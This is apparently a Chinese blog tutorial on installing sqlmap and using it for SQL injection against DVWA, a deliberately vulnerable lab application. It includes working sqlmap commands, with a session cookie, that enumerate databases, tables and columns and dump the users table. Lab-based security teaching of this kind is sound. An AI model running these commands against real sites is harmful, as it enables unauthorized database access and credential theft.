黑客渗透工具:Sqlmap用法

此系列笔记是网络渗透工具的使用方法,本篇是介绍 SQL 注入工具 SQLmap 的使用方法。SQLmap 是一款用来检测与利用 SQL 注入漏洞的免费开源工具,有一个非常棒的特性,即对检测与利用的自动化处理(数据库指纹、访问底层文件系统、执行命令)

SQLmap 环境

由于 kali Liunx 已经集成了 SQLmap 的环境,这里就直接介绍 Windows 下环境的构建。

先安装 Python

正常情况下我们安装 2.7.x 就好了。

Python 官网下载地址

接下来只需在环境变量 path 中添加 Python 的安装路径就好了。

黑客渗透工具:Sqlmap用法

再安装 SQLmap

SQLmap 官网下载地址

将 SQLmap 解压至 Python 目录下,将 SQLmap 的程序目录重命名为 sqlmap。

在桌面新建快捷方式

For Example:

黑客渗透工具:Sqlmap用法

黑客渗透工具:Sqlmap用法

黑客渗透工具:Sqlmap用法

DVWA 环境

DVWA(Dam Vulnerable Web Application) 使用 PHP+Mysql 编写的一套用于常规 WEB 漏洞教学和检测的 WEB 脆弱性测试程序。包含 SQL 注入、XSS、盲注等常见的一些漏洞。

DVWA GitHub 下载地址

在 Windows 下还需安装 PHP 环境,这里推介两个 PHP 集成环境。

upupw PHP 集成环境 phpStudy PHP 集成环境

接下来只需修改一下配置文件就好了。

SQlmap 使用方法

Windows 下跟 kali Liunx 下使用方法不相同。

为方便演示,我们创建两个虚拟机:

  • 受害者机器,Windows 2003 操作系统,运行一个 WEB 服务器,同时跑着一个包含漏洞的 WEB 应用(DVWA)。
  • 攻击器机器,使用 kali Liunx 或者其他版本的 Windows 包含 SQLmap 程序。

本次实验的目的:使用 SQLmap 得到以下信息:

  • 枚举 MYSQL 用户名与密码。
  • 枚举所有数据库。
  • 枚举指定数据库的数据表。
  • 枚举指定数据表中的所有用户名与密码。

查看帮助

Windows:查看 Python 帮助命令

python sqlmap.py -h

LANG-BASH | COPY


kali Liunx:查看 Python 帮助命令

sqlmap -h

LANG-BASH | COPY


需要注意的是 Windows 下的选项和 kali Liunx 下的选项是一致的,但是命令是不一致的。在 Windows 下使用 python sqlmap.py,而在 kali Liunx 下使用的是 sqlmap。

选项解释

  • —cookie => 设置我们的 cookie 值 “将 DVWA 安全等级设置为 low”
  • —data => 设置 POST 提交的值,如果是 GET 提交,不需要此选项
  • -u => 指定目标 URL
  • -b => 获取 DBMS banner
  • —current-db => 获取当前数据库
  • —current-user => 获取当前数据库的用户
  • —tables => 获取数据库里所有的表名
  • —columns => 获取表里的所有字段
  • —dump => 获取值
  • —current-user => 获取当前用户
  • -D => 爆库指定数据库名
  • -T => 爆库指定表名
  • -C => 爆库指定字段名
  • —string => 当查询可用时用来匹配页面中的字符串
  • —users => 枚举 DBMS 用户
  • —password => 枚举 DBMS 用户密码 hash
  • —dbs => 枚举 DBMS 中的数据库

开始爆库

由于 Windows 和 kali Liunx 的做法基本一致,这里以 kali Liunx 为例。DVWA 的难度为 low。

先获取 Cookie

每一次的 Cookie 都不一样,这里是个示范。

For Example:

黑客渗透工具:Sqlmap用法

获取数据库,—current-db

For Example:

sqlmap -u "//192.168.79.132/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=austaukdtb8jq2919eideuqkp3; security=low" --current-db

LANG-BASH | COPY


URL 地址和 Cookie 请用真实的替换掉。这条命令可以把当前所有的数据库获取出来的。注意 --current-db 的 - 可是有两个的。

黑客渗透工具:Sqlmap用法

获取表,—tables

前面,我们已经获取到数据库名,这时候我们要指定数据库名。使用 -D 选项指定数据库名。注意 --tables 的 - 可是有两个的。

For Example:

sqlmap -u "//192.168.79.132/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=austaukdtb8jq2919eideuqkp3; security=low" -D 'dvwa' --tables

LANG-BASH | COPY


黑客渗透工具:Sqlmap用法

获取字段,—columns

前面,我们已经获取到数据库名和表名了,这时候我们要指定数据库名和表名。使用 -D 选项指定数据库名,使用 -T指定表名。这里我们选择表 users。注意 --columns 的 - 可是有两个的。

For Example:

sqlmap -u "//192.168.79.132/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=austaukdtb8jq2919eideuqkp3; security=low" -D 'dvwa' -T 'users' --columns

LANG-BASH | COPY


黑客渗透工具:Sqlmap用法

获取数据,—dump

前面,我们已经获取到数据库名、表名还有字段名了,这时候我们要指定数据库名、表名还有字段名。使用 -D 选项指定数据库名,使用 -T 指定表名,使用 -C 指定字段名。这里我们选择表 users中的字段 user_id。注意 --dump 的 - 可是有两个的。

For Example:

sqlmap -u "//192.168.79.132/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=austaukdtb8jq2919eideuqkp3; security=low" -D 'dvwa' -T 'users' -C 'user_id' --dump

LANG-BASH | COPY


黑客渗透工具:Sqlmap用法

  • 本文链接: https://vxhly.github.io/2016/09/usage-of-sqlmap/


分享到:


相關文章: